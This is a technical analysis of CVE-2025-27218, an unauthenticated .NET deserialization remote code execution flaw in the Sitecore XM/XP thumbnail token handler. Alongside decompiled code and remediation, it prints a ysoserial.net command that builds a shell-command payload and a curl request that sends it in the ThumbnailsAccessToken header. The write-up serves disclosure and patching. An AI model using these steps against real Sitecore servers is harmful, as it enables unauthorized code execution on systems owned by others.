machang-r7 (5)
Last Login: March 05, 2025
machang-r7's Latest (1) Contributions
Technical Analysis
Overview
On January 6, 2025, Sitecore published a security bulletin, SC2024-002-624693 , for a critical unauthenticated remote code execution (RCE) vulnerability affecting the products Sitecore Experience Manager (XM) and Experience Platform (XP) 10.4. On February 20, 2025 the vulnerability was assigned CVE-2025-27218. The vulnerability is the result of deserializing attacker controlled data originating from an HTTP GET request. An unauthenticated and remote attacker can execute arbitrary commands by sending a base64 encoded serialized .NET object into the ThumbnailsAccessToken
HTTP header.
Analysis
Our analysis is based upon a vulnerable version of Sitecore XM 10.4 ( Sitecore.Kernell.dll version 19.4.84 ).
Vulnerability
The vulnerability lies in the screenshot functionality for generating thumbnails. It works by taking a screenshot of the page with phantomjs, then resizing the image. To begin to analyze CVE-2025-27218, we will first view the vendor supplied hotfix. The hotfix removes the Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest
processor from the httpRequestBegin pipeline.
<configuration xmlns:patch="http://www.sitecore.net/xmlconfig/" xmlns:role="http://www.sitecore.net/xmlconfig/role/"> <sitecore role:require="Standalone or ContentManagement or XMCloud"> <pipelines> <httpRequestBegin> <processor type="Sitecore.Thumbnails.Pipelines.AuthenticateThumbnailsRequest, Sitecore.Kernel" resolve="true"> <patch:delete /> </processor> </httpRequestBegin> </pipelines> <settings> <setting name="Sitecore.ThumbnailsGeneration.Enabled"> <patch:attribute name="value">false</patch:attribute> </setting> </settings> </sitecore> </configuration>
We can view the code of the disabled function by opening Sitecore.Kernel.dll
in a .NET disassembler and browsing to the
AuthenticateThumbnailsRequest
class in the Sitecore.Thumbnails.Pipelines
namespace. The class grabs an HTTP request, checks if a header is valid with _tokenService.IsTokenValid
, and authenticates the request as a user if it returns true.
public override void Process(HttpRequestArgs args) { string text; if (args == null) { text = null; } else { HttpContextBase httpContext = args.HttpContext; if (httpContext == null) { text = null; } else { HttpRequestBase request = httpContext.Request; text = ((request != null) ? request.Headers[ThumbnailFlowBase.TokenName] : null); } } string text2 = text; if (!this._tokenService.IsTokenValid(text2)) { return; } string generatorUserName = this._settings.GeneratorUserName; User user = null; if (!User.Exists(generatorUserName)) { object @lock = AuthenticateThumbnailsRequest.Lock; lock (@lock) { if (!User.Exists(generatorUserName)) { user = User.Create(generatorUserName, "b"); user.Profile.IsAdministrator = true; user.Profile.Save(); MembershipUser user2 = this.GetUser(generatorUserName); user2.ResetPassword(); } goto IL_B6; } } user = User.FromName(generatorUserName, true); IL_B6: this._authManager.Login(user); }
Viewing the IsTokenValid
method in the MachineKeyTokenService
in the Sitecore.Thumbnails
namespace, we can see the token is processed in the Convert.Base64ToObject
method.
public bool IsTokenValid(string token) { bool flag; try { byte[] array = Convert.Base64ToObject(token) as byte[]; byte[] array2 = MachineKey.Unprotect(array, Array.Empty<string>()); if (array2 == null || array2.Length == 0) { flag = false; } else { Guid guid = new Guid(array2); flag = guid == this._token; } } catch { flag = false; } return flag; }
The token name can be found in the ThumbnailFlowBase
class in the Sitecore.Thumbnails
namespace, which contains the method for taking screenshots along with others.
public static string TokenName { get; } = "ThumbnailsAccessToken";
This method was previously leveraged for a critical RCE vulnerability discovered by Assetnote, which Sitecore provides a patch for in their SC2023-001-568150 security bulletin. The method base64 decodes the string and deserializes it with BinaryFormatter.
public static object Base64ToObject(string data) { Error.AssertString(data, "data", true); if (data.Length > 0) { try { byte[] buffer = Convert.FromBase64String(data); BinaryFormatter binaryFormatter = new BinaryFormatter(); MemoryStream serializationStream = new MemoryStream(buffer); return binaryFormatter.Deserialize(serializationStream); } catch (Exception exception) { Log.Error("Error converting data to base64.", exception, typeof(Convert)); } } return null; }
ysoserial.net can be used to generate a payload with shell commands.
PS C:\Users\admin1\Desktop\ysoserial-1.36_\Release> .\ysoserial.exe -f BinaryFormatter -g WindowsIdentity -c "ipconfig > \inetpub\wwwroot\XP0.sc\upload\pwn.txt" AAEAAAD/////AQAAAAAAAAAEAQAAAClTeXN0ZW0uU2VjdXJpd...
Sending the payload in the ThumbnailsAccessToken
will run the command.
curl -k https://xp0.sc/ -H "ThumbnailsAccessToken: AAEAAAD/////AQAAAAAAAAAEAQAAAClTe..." -v
The Fix
The token is parsed as a string instead of a object, so it isn’t deserialized.
public bool IsTokenValid(string token) { bool flag; try { byte[] array = Convert.FromBase64String(token); byte[] array2 = MachineKey.Unprotect(array, Array.Empty<string>()); if (array2 == null || array2.Length == 0) { flag = false; ...
Remediation
For on prem and PaaS installations, apply the hotfix in KB1002844 , provided by Sitecore.
Validate that the updated version is installed by viewing the properties of the Sitecore.Kernel.dll
and ensuring that the version is higher or equal to 19.4.93.21984
Another option is to download a config file that disables the vulnerable functionality from Sitecore’s security bulletin, then place it in the \App_Confing\Include\zzz
folder.